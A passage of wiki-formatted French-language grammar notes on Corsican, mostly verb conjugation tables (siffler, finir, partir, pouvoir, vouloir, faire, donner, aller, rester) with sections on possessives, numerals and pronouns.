|'''zifulenti''' (sifflant) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''zifulendu''' (sifflant) || '''zifulatu''' (sifflé) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' () |- bgcolor="#abcdef" |'''zifulighju''' (je siffle) || '''zifulaia''' (je sifflais) || '''zifularaghju''' (je sifflerai) || '''aghju zifulatu''' (j'ai sifflé) || '''avia zifulatu''' (j'avais sifflé) || '''zifuleti''' (je sifflai) |- bgcolor="#abcdef" |'''zifulighji''' (tu siffles) || '''zifulaii''' (tu sifflais) || '''zifularè''' (tu siffleras) || '''ha zifulatu''' (tu as sifflé) || '''avii zifulatu''' (tu avais sifflé) || '''zifulesti''' (tu sifflas) |- bgcolor="#abcdef" |'''zifulighja''' (il siffle) || '''zifulaia''' (il sifflait) || '''zifularà''' (il sifflera) || '''hà zifulatu''' (il a sifflé) || '''avia zifulatu''' (il avait sifflé) || '''zifuleti''' (il siffla) |- bgcolor="#abcdef" |'''zifulemu''' (nous sifflons) || '''zifulàiami''' (nous sifflions) || '''zifularemu''' (nous sifflerons) || '''avemu zifulatu''' (nous avons sifflé) || '''avìami zifulatu''' (nous avions sifflé) || '''zifulètimi''' (nous sifflâmes) |- bgcolor="#abcdef" |'''zifuleti''' (vous sifflez) || '''zifulàiati''' (vous siffliez) || '''zifulareti''' (vous sifflerez) || '''aveti zifulatu''' (vous avez sifflé) || '''avìati zifulatu''' (vous aviez sifflé) || '''zifulètiti''' (vous sifflâtes) |- bgcolor="#abcdef" |'''zifulighjani''' (ils sifflent) || '''zifulàiani''' (ils sifflaient) || '''zifularani''' (ils siffleront) || '''ani zifulatu''' (ils ont sifflé) || '''avìani zifulatu''' (ils avaient sifflé) || '''zifulètini''' (ils sifflèrent) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''zifularia''' (je sifflerais) || '''avaria zifulatu''' (j'aurais sifflé) |- bgcolor="#abcdef" |'''zifularii''' (tu sifflerais) || '''avarii zifulatu''' (tu aurais sifflé) |- bgcolor="#abcdef" |'''zifularia''' (il sifflerait) || '''avaria zifulatu''' (il aurait sifflé) |- bgcolor="#abcdef" |'''zifularìami''' (nous sifflerions) || '''avarìami zifulatu''' (nous aurions sifflé) |- bgcolor="#abcdef" |'''zifularìati''' (vous siffleriez) || '''avarìati zifulatu''' (vous auriez sifflé) |- bgcolor="#abcdef" |'''zifularìani''' (ils siffleraient) || '''avarìani zifulatu''' (ils auraient sifflé) |} {|- |- bgcolor="lightgreen" |'''sughjuntivu''' (subjonctif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''ch'é zifuleghji''' (que j'siffle) || '''chè zifulessi''' (que j'sifflasse) || '''chè''' (que j'aie sifflé) |- bgcolor="#abcdef" | '''chè tù zifuleghji''' (que tu siffles) || '''chè tù zifulessi''' (que tu sifflasses) || '''chè''' (que tu aies sifflé) |- bgcolor="#abcdef" | '''ch'iddu zifuleghji''' (qu'il siffle) || '''ch'iddu zifulessi''' (qu'il sifflasse) || '''chè''' (qu'il ait sifflé) |- bgcolor="#abcdef" | '''chè no zifulèghjimi''' (que nous sifflions) || '''chè no zifulèssimi''' (que nous sifflassions) || '''chè''' (que nous ayons sifflé) |- bgcolor="#abcdef" | '''chè vo zifulèghjiti''' (que vous siffliez) || '''chè vo zifulèssiti''' (que vous sifflassiez) || '''chè''' (que vous ayez sifflé) |- bgcolor="#abcdef" | '''ch'iddi zifulèghjini''' (qu'ils sifflent) || '''ch'iddi zifulèssini''' (qu'ils sifflassent) || '''chè''' (qu'ils aient sifflé) |} === '''finiscia''' (finir) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''finiscia''' (finir) || '''avè finitu''' (avoir fini) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''finiscindu''' (finissant) || '''finitu''' (fini) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' 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'''parta''' (partir) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''parta''' (partir) || '''essa partitu''' (être parti) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''partindu''' (partant) || '''partitu''' (parti) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' () |- bgcolor="#abcdef" |'''partu''' (je pars) || '''partia''' (je partais) || '''partaraghju''' (je partirai) || '''socu partitu''' (je suis parti) || '''era partitu''' (j'étais parti) || '''partiti''' (je partis) |- bgcolor="#abcdef" |'''parti''' (tu pars) || '''partii''' (tu partais) || '''partarè''' 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pussutu''' (tu aurais pu) |- bgcolor="#abcdef" |'''pudaria''' (il pourrait) || '''era pussutu''' (il aurait pu) |- bgcolor="#abcdef" |'''pudarìami''' (nous pourrions) || '''èrami pussuti''' (nous aurions pu) |- bgcolor="#abcdef" |'''pudarìati''' (vous pourriez) || '''èrati pussuti''' (vous auriez pu) |- bgcolor="#abcdef" |'''pudarìani''' (ils pourraient) || '''èrani pussuti''' (ils auraient pu) |} {|- |- bgcolor="lightgreen" |'''sughjuntivu''' (subjonctif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''ch'é ''' (que je puisse) || '''ch'é pudissi''' (que je pusse) || '''chè''' (que j'aie pu) |- bgcolor="#abcdef" | '''chè tù ''' (que tu puisses) || '''chè tù pudissi''' (que tu pusses) || '''chè''' (que tu aies pu) |- bgcolor="#abcdef" | '''ch'iddu ''' (qu'il puisse) || '''ch'iddu pudissi''' (qu'il pût) || '''chè''' (qu'il ait pu) |- bgcolor="#abcdef" | '''chè no ''' (que nous puissions) || '''chè no pudìssimi''' (que nous pussions) || '''chè''' (que nous ayons pu) |- bgcolor="#abcdef" | '''chè vo ''' (que vous puissiez) || '''chè vo pudìssiti''' (que vous pussiez) || '''chè''' (que vous ayez pu) |- bgcolor="#abcdef" | '''ch'iddi ''' (qu'ils puissent) || '''ch'iddi pudìssini''' (qu'ils pussent) || '''chè''' (qu'ils aient pu) |} === '''vulè''' (vouloir) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''vulè''' (vouloir) || '''avè vulsutu''' (avoir voulu) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''vulendu''' (voulant) || '''vulsutu''' (voulu) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' |- bgcolor="#abcdef" |'''vogliu''' (je veux) || '''vulia''' (je voulais) || '''vularaghju''' (je voudrai) || '''aghju vulsutu''' (j'ai voulu) || '''avia vulsutu''' (j'avais voulu) || '''vuliti''' (je voulus) |- bgcolor="#abcdef" |'''vo''' (tu veux) || '''vulii''' (tu voulais) || '''vularè''' (tu voudras) || '''ha vulsutu''' (tu as voulu) || '''avii vulsutu''' (tu avais voulu) || '''vulisti''' (tu voulus) |- bgcolor="#abcdef" |'''vò''' (il veut) || '''vulia''' (il voulait) || '''vularà''' (il voudra) || '''hà vulsutu''' (il a voulu) || '''avia vulsutu''' (il avait voulu) || '''vuliti''' (il voulut) |- bgcolor="#abcdef" |'''vulemu''' (nous voulons) || '''vulìami''' (nous voulions) || '''vularemu''' (nous voudrons) || '''avemu vulsutu''' (nous avons voulu) || '''avìami vulsutu''' (nous avions voulu) || '''vulìtimi''' (nous voulûmes) |- bgcolor="#abcdef" |'''vuleti''' (vous voulez) || '''vulìati''' (vous vouliez) || '''vulareti''' (vous voudrez) || '''aveti vulsutu''' (vous avez voulu) || '''avìati vulsutu''' (vous aviez voulu) || '''vulìtiti''' (vous voulûtes) |- bgcolor="#abcdef" |'''voni''' (ils veulent) || '''vulìani''' (ils voulaient) || '''vularani''' (ils voudront) || '''ani vulsutu''' (ils ont voulu) || '''avìani vulsutu''' (ils avaient voulu) || '''vulìtini''' (ils voulurent) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''vularia''' (je voudrais) || '''avaria vulsutu''' (j'aurais voulu) |- bgcolor="#abcdef" |'''vularii''' (tu voudrais) || '''avarii vulsutu''' (tu aurais voulu) |- bgcolor="#abcdef" |'''vularia''' (il voudrait) || '''avaria vulsutu''' (il aurait voulu) |- bgcolor="#abcdef" |'''vularìami''' (nous voudrions) || '''avarìami vulsutu''' (nous aurions voulu) |- bgcolor="#abcdef" |'''vularìati''' (vous voudriez) || '''avarìati vulsutu''' (vous auriez voulu) |- bgcolor="#abcdef" |'''vularìani''' (ils voudraient) || '''avarìani vulsutu''' (ils auraient voulu) |} {|- |- bgcolor="lightgreen" |'''sughjuntivu''' (subjonctif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''ch'é ''' (que je veuille) || '''ch'é vulissi''' (que je voulusse) || '''chè''' (que j'aie voulu) |- bgcolor="#abcdef" | '''chè tù ''' (que tu veuilles) || '''chè tù vulissi''' (que tu voulusses) || '''chè''' (que tu aies voulu) |- bgcolor="#abcdef" | '''ch'iddu ''' (qu'il parte) || '''ch'iddu vulissi''' (qu'il vouluisse) || '''chè''' (qu'il ait voulu) |- bgcolor="#abcdef" | '''chè no ''' (que nous voulions) || '''chè no vulìssimi''' (que nous voulussions) || '''chè''' (que nous ayons voulu) |- bgcolor="#abcdef" | '''chè vo ''' (que vous vouliez) || '''chè vo vulìssiti''' (que vous voulussiez) || '''chè''' (que vous ayez voulu) |- bgcolor="#abcdef" | '''ch'iddi ''' (qu'ils veuillent) || '''ch'iddi vulìssini''' (qu'ils voulussent) || '''chè''' (qu'ils aient voulu) |} === '''fà''' (faire) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''fà''' (faire) || '''avè fattu''' (avoir fait) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''fendu''' (faisant) || '''fattu''' (fait) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' |- bgcolor="#abcdef" |'''facciu''' (je fais) || '''facia''' (je faisais) || '''faraghju''' (je ferai) || '''aghju fattu''' (j'ai fait) || '''avia fattu''' (j'avais fait) |- bgcolor="#abcdef" |'''faci''' (tu fais) || '''facii''' (tu faisais) || '''farè''' (tu feras) || '''ha fattu''' (tu as fait) || '''avii fattu''' (tu avais fait) |- bgcolor="#abcdef" |'''faci''' (il fait) || '''facia''' (il faisait) || '''farà''' (il fera) || '''hà fattu''' (il a fait) || '''avia fattu''' (il avait fait) |- bgcolor="#abcdef" |'''femu''' (nous faisons) || '''facìami''' (nous faisions) || '''faremu''' (nous ferons) || '''avemu fattu''' (nous avons fait) || '''avìami fattu''' (nous avions fait) |- bgcolor="#abcdef" |'''feti''' (vous faites) || '''facìati''' (vous faisiez) || '''fareti''' (vous ferez) || '''aveti fattu''' (vous avez fait) || '''avìati fattu''' (vous aviez fait) |- bgcolor="#abcdef" |'''facini''' (ils font) || '''facìani''' (ils faisaient) || '''farani''' (ils feront) || '''ani fattu''' (ils ont fait) || '''avìani fattu''' (ils avaient fait) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''faria''' (je ferais) || '''avaria fattu''' (j'aurais fait) |- bgcolor="#abcdef" |'''farii''' (tu ferais) || '''avarii fattu''' (tu aurais fait) |- bgcolor="#abcdef" |'''faria''' (il ferait) || '''avaria fattu''' (il aurait fait) |- bgcolor="#abcdef" |'''farìami''' (nous ferions) || '''avarìami fattu''' (nous aurions fait) |- bgcolor="#abcdef" |'''farìati''' (vous feriez) || '''avarìati fattu''' (vous auriez fait) |- bgcolor="#abcdef" |'''farìani''' (ils feraient) || '''avarìani fattu''' (ils auraient fait) |} {|- |- bgcolor="lightgreen" |'''sughjuntivu''' (subjonctif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''ch'é faci''' (que je fasse) || '''ch'é fessi''' (que je fisse) || '''chè''' (que j'aie fait) |- bgcolor="#abcdef" | '''chè tù faci''' (que tu fasses) || '''chè tù fessi''' (que tu fisses) || '''chè''' (que tu aies fait) |- bgcolor="#abcdef" | '''ch'iddu faci''' (qu'il fasse) || '''ch'iddu fessi''' (qu'il fît) || '''chè''' (qu'il ait fait) |- bgcolor="#abcdef" | '''chè no fàcimi''' (que nous fassions) || '''chè no fèssimi''' (que nous fissions) || '''chè''' (que nous ayons fait) |- bgcolor="#abcdef" | '''chè vo fàciti''' (que vous fassiez) || '''chè vo fèssiti''' (que vous fissiez) || '''chè''' (que vous ayez fait) |- bgcolor="#abcdef" | '''ch'iddi fàcini''' (qu'ils fassent) || '''ch'iddi fèssini''' (qu'ils fissent) || '''chè''' (qu'ils aient fait) |} === '''dà''' (donner) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''dà''' (donner) || '''avè datu''' (avoir donné) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''dendu''' (donnant) || '''datu''' (donné) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' |- bgcolor="#abcdef" |'''docu''' (je donne) || '''dacia''', '''dai''' (je donnais) || '''daraghju''' (je donnerai) || '''aghju datu''' (j'ai donné) || '''avia datu''' (j'avais donné) |- bgcolor="#abcdef" |'''da''' (tu donnes) || '''dacii''' (tu donnais) || '''darè''' (tu donneras) || '''ha datu''' (tu as donné) || '''avii datu''' (tu avais donné) |- bgcolor="#abcdef" |'''dà''' (il donne) || '''daghjia''' (il donnait) || '''darà''' (il donnera) || '''hà datu''' (il a donné) || '''avia datu''' (il avait donné) |- bgcolor="#abcdef" |'''demu''' (nous donnons) || '''daghjìami''' (nous donnions) || '''daremu''' (nous donnerons) || '''avemu datu''' (nous avons donné) || '''avìami datu''' (nous avions donné) |- bgcolor="#abcdef" |'''deti''' (vous donnez) || '''daghjìati''' (vous donniez) || '''dareti''' (vous donnerez) || '''aveti datu''' (vous avez donné) || '''avìati datu''' (vous aviez donné) |- bgcolor="#abcdef" |'''dani''' (ils donnent) || '''daghjìani''' (ils donnaient) || '''darani''' (ils donneront) || '''ani datu''' (ils ont donné) || '''avìani datu''' (ils avaient donné) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''daria''' (je donnerais) || '''avaria datu''' (j'aurais donné) |- bgcolor="#abcdef" |'''darii''' (tu donnerais) || '''avarii datu''' (tu aurais donné) |- bgcolor="#abcdef" |'''daria''' (il donnerait) || '''avaria datu''' (il aurait donné) |- bgcolor="#abcdef" |'''darìami''' (nous donnerions) || '''avarìami datu''' (nous aurions donné) |- bgcolor="#abcdef" |'''darìati''' (vous donneriez) || '''avarìati datu''' (vous auriez donné) |- bgcolor="#abcdef" |'''darìani''' (ils donneraient) || '''avarìani datu''' (ils auraient donné) |} {|- |- bgcolor="lightgreen" |'''sughjuntivu''' (subjonctif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''ch'é dochi''' (que je donne) || '''ch'é dessi''' (que je donnasse) || '''chè''' (que j'aie donné) |- bgcolor="#abcdef" | '''chè tù dochi''' (que tu donnes) || '''chè tù dessi''' (que tu donnasses) || '''chè''' (que tu aies donné) |- bgcolor="#abcdef" | '''ch'iddu dochi''' (qu'il donne) || '''ch'iddu dessi''' (qu'il donnât) || '''chè''' (qu'il ait donné) |- bgcolor="#abcdef" | '''chè no dòchimi''' (que nous donnions) || '''chè no dèssimi''' (que nous donnassions) || '''chè''' (que nous ayons donné) |- bgcolor="#abcdef" | '''chè vo dòchiti''' (que vous donniez) || '''chè vo dèssiti''' (que vous donnassiez) || '''chè''' (que vous ayez donné) |- bgcolor="#abcdef" | '''ch'iddi dòchini''' (qu'ils donnent) || '''ch'iddi dèssini''' (qu'ils donnassent) || '''chè''' (qu'ils aient donné) |} === '''andà''' (aller) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''andà''' (aller) || '''essa andatu''' (être allé) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''andendu''' (allant) || '''andatu''' (allé) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' |- bgcolor="#abcdef" |'''vocu''' (je vais) || '''andaia''', '''andaghjìa''' (j'allais) || '''andaraghju''' (j'irai) || '''socu andatu''' (je suis allé) || '''era andatu''' (j'étais allé) |- bgcolor="#abcdef" |'''va''' (tu vas) || '''andaii''', '''andaghjìi'''(tu allais) || '''andarè''' (tu iras) || '''sè andatu''' (tu es allé) || '''eri andatu''' (tu étais allé) |- bgcolor="#abcdef" |'''và''' (il va) || '''andaia''', '''andaghjìa'''(il allait) || '''andarà''' (il ira) || '''hè andatu''' (il est allé) || '''era andatu''' (il était allé) |- bgcolor="#abcdef" |'''andemu''' (nous allons) || '''andàiami''', '''andaghjìami'''(nous allions) || '''andaremu''' (nous irons) || '''semu andati''' (nous sommes allés) || '''èrami andati''' (nous étions allés) |- bgcolor="#abcdef" |'''andeti''' (vous allez) || '''andàiati''', '''andaghjìati'''(vous alliez) || '''andareti''' (vous irez) || '''seti andati''' (vous êtes allés) || '''èrati andati''' (vous étiez allés) |- bgcolor="#abcdef" |'''vani''' (ils vont) || '''andàiani''', '''andaghjìani'''(ils allaient) || '''andarani''' (ils iront) || '''sò andati''' (ils sont allés) || '''èrani andati''' (ils étaient allés) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''andaria''' (j'irais) || '''saria andatu''' (je serais allé) |- bgcolor="#abcdef" |'''anadarii''' (tu irais) || '''sarii andatu''' (tu serais allé) |- bgcolor="#abcdef" |'''andaria''' (il irait) || '''saria andatu''' (il serait allé) |- bgcolor="#abcdef" |'''andarìami''' (nous irions) || '''sarìami andati''' (nous serions allés) |- bgcolor="#abcdef" |'''andarìati''' (vous iriez) || '''sarìati andati''' (vous seriez allés) |- bgcolor="#abcdef" |'''andarìani''' (ils iraient) || '''sarìani andati''' (ils seraient allés) |} {|- |- bgcolor="lightgreen" |'''sughjuntivu''' (subjonctif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''ch'é vochi''' (que j'aille) || '''ch'é andessi''' (que j'allasse) || '''chè''' (que je sois allé) |- bgcolor="#abcdef" | '''chè tù vochi''' (que tu ailles) || '''chè tù andessi''' (que tu allasses) || '''chè''' (que tu sois allé) |- bgcolor="#abcdef" | '''ch'iddu vochi''' (qu'il aille) || '''ch'iddu andessi''' (qu'il allât) || '''chè''' (qu'il soit allé) |- bgcolor="#abcdef" | '''chè no vòchimi''' (que nous aillions) || '''chè no andèssimi''' (que nous allassions) || '''chè''' (que nous soyons allés) |- bgcolor="#abcdef" | '''chè vo vòchiti''' (que vous ailliez) || '''chè vo andèssiti''' (que vous allassiez) || '''chè''' (que vous soyez allés) |- bgcolor="#abcdef" | '''ch'iddi vòchini''' (qu'ils aillent) || '''ch'iddi andèssini''' (qu'ils allassent) || '''chè''' (qu'ils soient allés) |} === '''stà''' (rester) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''stà''' (rester) || '''essa statu''' (être resté) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''stendu''' (restant) || '''statu''' (resté) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' |- bgcolor="#abcdef" |'''stocu''' (je reste) || '''staghjìa''' (je restais) || '''staraghju''' (je resterai) || '''socu statu''' (je suis resté) || '''era statu''' (j'étais resté) |- bgcolor="#abcdef" |'''sta''' (tu restes) || '''staghjìi''' (tu restais) || '''starè''' (tu resteras) || '''sè statu''' (tu es resté) || '''eri statu''' (tu étais resté) |- bgcolor="#abcdef" |'''stà''' (il reste) || '''staghjìa''' (il restait) || '''starà''' (il restera) || '''hè statu''' (il est resté) || '''era statu''' (il était resté) |- bgcolor="#abcdef" |'''stemu''' (nous restons) || '''staghjìami''' (nous restions) || '''staremu''' (nous resterons) || '''semu stati''' (nous sommes restés) || '''èrami stati''' (nous étions restés) |- bgcolor="#abcdef" |'''steti''' (vous restez) || '''staghjìati''' (vous restiez) || '''stareti''' (vous resterez) || '''seti stati''' (vous êtes restés) || '''èrati stati''' (vous étiez restés) |- bgcolor="#abcdef" |'''stani''' (ils restent) || '''staghjìani''' (ils restaient) || '''starani''' (ils resterons) || '''sò stati''' (ils sont restés) || '''èrani stati''' (ils étaient restés) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''staria''' (je resterais) || '''saria statu''' (je serais resté) |- bgcolor="#abcdef" |'''starii''' (tu resterais) || '''sarii statu''' (tu serais resté) |- bgcolor="#abcdef" |'''staria''' (il resterait) || '''saria statu''' (il serait resté) |- bgcolor="#abcdef" |'''starìami''' (nous resterions) || '''sarìami stati''' (nous serions restés) |- bgcolor="#abcdef" |'''starìati''' (vous resteriez) || '''sarìati stati''' (vous seriez restés) |- bgcolor="#abcdef" |'''starìani''' (ils resteraient) || '''sarìani stati''' (ils seraient restés) |} == Les adjectifs démonstratifs == * masculin singulier: '''issu''', '''istu''' : ce, cet * féminin singulier: '''issa''', '''ista''' : cette * masculin pluriel: '''issi''', '''isti''' : ces * féminin pluriel: '''issi''', '''isti''' : ces A noter que le '''i''' initial ne se prononce pas. == Les pronoms possessifs == * masculin singulier: '''u mè''': mon * féminin singulier: '''a mè''': ma * masculin pluriel: '''i mè''': mes * féminin pluriel: '''i mè''': mes * masculin singulier: '''u to''': ton * féminin singulier: '''a to''': ta * masculin pluriel: '''i to''': tes * féminin pluriel: '''i to''': tes * masculin singulier: '''u so''': son * féminin singulier: '''a so''': sa * masculin pluriel: '''i so''': ses * féminin pluriel: '''i so''': ses * masculin singulier: '''u nosciu''': notre * féminin singulier: '''a noscia''': notre * masculin pluriel: '''i nosci''': nos * féminin pluriel: '''i nosci''': nos * masculin singulier: '''u vosciu''': votre * féminin singulier: '''a voscia''': votre * masculin pluriel: '''i vosci''': vos * féminin pluriel: '''i nosci''': nos * masculin singulier: '''u so''': leur * féminin singulier: '''a so''': leur * masculin pluriel: '''i so''': leurs * féminin pluriel: '''i so''': leurs == Les pronoms indéfinis == Le pronom indéfini "on" peut se traduire en langue corse de différentes manières: * par l'utilisation de '''a parsona''': on. Exemple: '''quandu a parsona invechja'''...: lorsqu'on vieillit... * par l'utilisation de '''si''': on. Exemple: '''quandu iddu si parti'''...: lorsqu'on part... == Les adjectifs numéraux == === Les adjectifs numéraux ordinaux === {|- |- bgcolor="#abcdef" |'''zeru''' : 0|| '''deci''': 10|| '''vinti''': 20|| '''trenta''': 30|| '''quaranta''': 40 |- bgcolor="#abcdef" |'''unu''': 1|| '''undici''': 11|| '''vint'unu''': 21 || '''trent'unu''': 31 || '''quarant'un''' : 41 |- bgcolor="#abcdef" |'''dui''': 2|| '''dodici''': 12|| '''vinti dui''': 22 || '''trenta dui''' : 32|| '''quaranta dui''' : 42 |- bgcolor="#abcdef" |'''trè''': 3|| '''tredici''': 13|| '''vinti trè''': 23 || '''trenta trè''' : 33|| '''quaranta trè''' : 43 |- bgcolor="#abcdef" |'''quattru''': 4|| '''quattordici''': 14|| '''vinti quattru''': 24 || '''trenta quattru''' : 34|| '''quaranta quattru''' : 44 |- bgcolor="#abcdef" |'''cinqui''': 5|| '''quindici''': 15|| '''vinti cinqui''': 25 || '''trenta cinqui''' : 35|| '''quaranta cinqui''' : 45 |- bgcolor="#abcdef" |'''sei''': 6|| '''sedici''': 16|| '''vinti sei''': 26 || '''trenta sei''' : 36|| '''quaranta sei''': 46 |- bgcolor="#abcdef" |'''setti''': 7|| '''dicessetti''': 17 || '''vinti setti''': 27 || '''trenta setti''' : 37|| '''quaranta setti''': 47 |- bgcolor="#abcdef" |'''ottu''': 8|| '''diciottu''': 18 || '''vint'ottu''': 28 || '''trent'ottu''' : 38|| '''quarant'ottu''': 48 |- bgcolor="#abcdef" |'''novi''': 9|| '''dicennovi''': 19 || '''vinti novi''': 29 || '''trenta novi''' : 39|| '''quaranta novi''': 49 |} {|- |- bgcolor="#abcdef" |'''cinquanta''' : 50|| '''sissanta''': 60|| '''sittanta''': 70|| '''uttanta''': 80|| '''nuvanta ''': 90 |- bgcolor="#abcdef" |'''cinquant'unu''': 51|| '''sissant' unu''': 61|| '''sittant'unu''': 71 || '''uttant'unu''': 81 || '''nuvant'unu''' : 91 |- bgcolor="#abcdef" |'''cinquanta dui''': 52|| '''sissanta dui''': 62|| '''sittanta dui''': 72 || '''uttanta dui''' : 82|| '''nuvanta dui''' : 92 |- bgcolor="#abcdef" |'''cinquanta trè''': 53|| '''sissanta trè''': 63|| '''sittanta trè''': 73 || '''uttanta trè''' : 83|| '''nuvanta trè''' : 93 |- bgcolor="#abcdef" |'''cinquanta quattru''': 54|| '''sissanta quattru''': 64|| '''sittanta quattru''': 74 || '''uttanta quattru''' : 84|| '''nuvanta quattru''' : 94 |- bgcolor="#abcdef" |'''cinquanta cinqui''': 55|| '''sissanta cinqui''': 65|| '''sittanta cinqui''': 75 || '''uttanta cinqui''' : 85|| '''nuvanta cinqui''' : 95 |- bgcolor="#abcdef" |'''cinquanta sei''': 56|| '''sissanta sei''': 66|| '''sittanta sei''': 76 || '''uttanta sei''' : 86|| '''nuvanta sei''': 96 |- bgcolor="#abcdef" |'''cinquanta setti''': 57|| '''sissanta setti''': 67 || '''sittanta setti''': 77 || '''uttanta setti''' : 87|| '''nuvanta setti''': 97 |- bgcolor="#abcdef" |'''cinquant' ottu''': 58|| '''sissanta ottu''': 68 || '''sittant'ottu''': 78 || '''uttant'ottu''' : 88|| '''nuvant'ottu''': 98 |- bgcolor="#abcdef" |'''cinquanta novi''': 59|| '''sissanta novi''': 69 || '''sittanta novi''': 79 || '''uttanta novi''' : 89|| '''nuvanta novi''': 99 |} === Les adjectifs numéraux cardinaux === * prima * sicondu * terzu * quartu * quintu * * una dicina * una quindicina * una vintena * una trintena * una quarantena * una cinquantena * una sissantena * una sittantena * ... * una cintunara == Les pronoms personnels == * 1ère personne (singulier): '''eiu''', '''ghjeiu''': moi * 2ème personne (singulier): '''tù''': toi * 3ème personne (masculin singulier): '''iddu''': lui * 3ème personne (féminin singulier): '''idda''': elle 